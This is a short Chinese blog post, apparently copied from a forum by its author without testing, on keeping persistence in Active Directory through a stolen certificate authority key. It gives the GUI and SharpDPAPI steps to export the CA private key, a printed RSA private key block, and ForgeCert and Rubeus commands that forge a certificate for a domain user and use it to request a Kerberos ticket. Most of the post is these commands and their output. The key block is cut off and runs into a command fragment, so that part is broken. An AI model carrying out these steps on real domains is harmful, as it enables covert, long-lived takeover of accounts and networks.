Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

ADCS攻击之权限维持

内网渗透 Adminxe 685℃ 0评论

这篇文章在社区看的,自己没有操作,就直接复制过来

导出私钥

界面操作

在ADCS中,打开证书颁发机构

certsrv.msc

所有任务–>备份CA

进行导出,导出格式选择*.PFX*.p12都可以

这里输入的密码需要牢记,后面伪造证书时需要

命令行操作

使用SharpDPAPI,参考:https://github.com/GhostPack/SharpDPAPI

SharpDPAPI.exe certificates /machine
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArGw/w8kFHUHfh9dDnP0JA0rNXzfH4QPSjNt8KZ6H/HB6DfLh
YFmCQ5ICmZChF1cX/jUTgoMUQKKwpL5PVPmKEpU5pVMWKpJ0QfSUo1bpKm8Ddm82
V95L8dulXQoTvk7ULRNrV5Gb9ZfTNDIqlvTxfDCLveoEsl47KngewQmJWOmCJVAK
aG2IYOMn5aCaCbMGq5a2Zasn+y8cgJnUu2XFesEGD9PYJXcatXNirHyugtoWzeON
G8zSazA7LUxc7c5p7TA+dKl0sRMAoQUbaCCeUqlu+s1ad8FzbOOQuNbVGXWVQCww
QigYzht7thIEBTAwW+NxQfMCxKNfemey2nq2YQIDAQABAoIBABBiUubUTbebgFWk
p2ieBMK602wWXVhs6A95dcFwroRW3cpAh5kDuGSaVcPo4d3ZaU6/FWUD9qMzsmxd
JyWwdqXQZ0Nl80fFVeXEi3E/+3UMSnxxEe1kkrvfPsXqBLlDPVcxLrSKAhNiw2+E
ytZAXUgLRuQbfinC2YVuF6IJOXNoyNFegSkIJLKmma80kvMqcbL6u/GLsxAfG/ch
OsAhBhV1mD5q5Lzb9aO3hpQsJzQ/oR6qYAWTpQv/zkHNZEV5o3a09gafWwsHv7Tr
VSO7G9rnSIluDPoLf5RIaFoxOkxJUkQUPSTryGa8gDuc3oxXjuhqFkVNOkOpsppL
gIEcUU8CgYEA6MAZZFhGcHNMaNA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keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

输入的密码需要牢记,后面伪造证书时需要

制作伪造证书

使用ForgeCert,参考:https://github.com/GhostPack/ForgeCert

P12和PFX使用方法是一致的

CaCertPassword:导出证书时设置的密码 NewCertPassword:伪造证书添加的密码

ForgeCert.exe --CaCertPath cert.pfx --CaCertPassword "Wsx123." --Subject "CN=User" --SubjectAltName "matrix@sun.com" --NewCertPath new.pfx --NewCertPassword "Password123!"

获取ticket.kirbi

利用Rubeus获取ticket.kirbi

Rubeus.exe asktgt /user:matrix /certificate:new.pfx /password:Password123!

注意

伪造证书的账户需要时域用户或者机器账户,不能是krbtgt账户

转载请注明:Adminxe's Blog » ADCS攻击之权限维持

喜欢 (0)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址